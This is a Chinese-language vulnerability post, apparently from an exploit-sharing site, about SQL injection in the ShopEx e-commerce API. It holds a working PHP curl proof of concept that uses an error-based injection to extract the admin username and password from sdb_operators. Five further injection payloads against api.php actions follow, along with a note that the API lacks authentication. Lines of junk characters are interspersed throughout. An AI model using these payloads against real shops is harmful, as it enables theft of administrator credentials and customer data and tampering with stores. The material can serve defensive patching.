|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php" ]0 z0 Q# W- [8 g4 S4 g
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php
- c% P5 K5 m" d& M1 \& O( f' X+ n' V3 B% Z+ y9 p- Q- [' J
第44行 $data['columns'] 未做过滤导致注入
" L' R4 w) t! B! e4 U0 D( _1 }& M0 l: ]/ _# R
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.0 T. h' g$ q7 W' Y" j3 E$ r3 m% A
2 h9 o- U; A6 @2 _
注射1:
9 m& h2 W8 Y; o
+ H* w5 U3 C9 Vhttp://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#; ^ I! r; P+ [, S, {& O
8 ^8 I0 w6 i& e
注射2:3 ~) j3 u4 M- |8 B/ J
http://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
# L& E- y4 H! Y* m8 V; s
3 J0 u. ]6 g: F; K% T- M5 ?注射3:' a6 N! I# ?0 K2 L8 B: R
http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx
' @3 \- [3 O1 r. _+ E注射4:
8 l9 f! }2 w9 X4 T* m5 y8 V) h4 E
+ L) }1 l6 j, x6 Q% P; g l; phttp://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1* P5 H3 n: E* F/ j' v
. y' ~2 P; s% g1 v: _
+ g4 ?9 `# p& i8 e9 A注射5:
6 R1 Q4 ]( Q u4 s- L3 d http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx
& O6 T9 T3 d5 i8 y$ R! Z
2 v/ u. U1 K( E- J P( S- Z$ c8 s* K3 Z) N& j
1 i: K. G2 B1 d- v# |6 u. S5 N. \
1 S" [$ B. [- R2 B8 @7 {
4 m0 ~8 K2 v, C& F8 v' ~) l% h* A0 I3 y$ w! I8 Z6 t. X: s8 R* V
|
|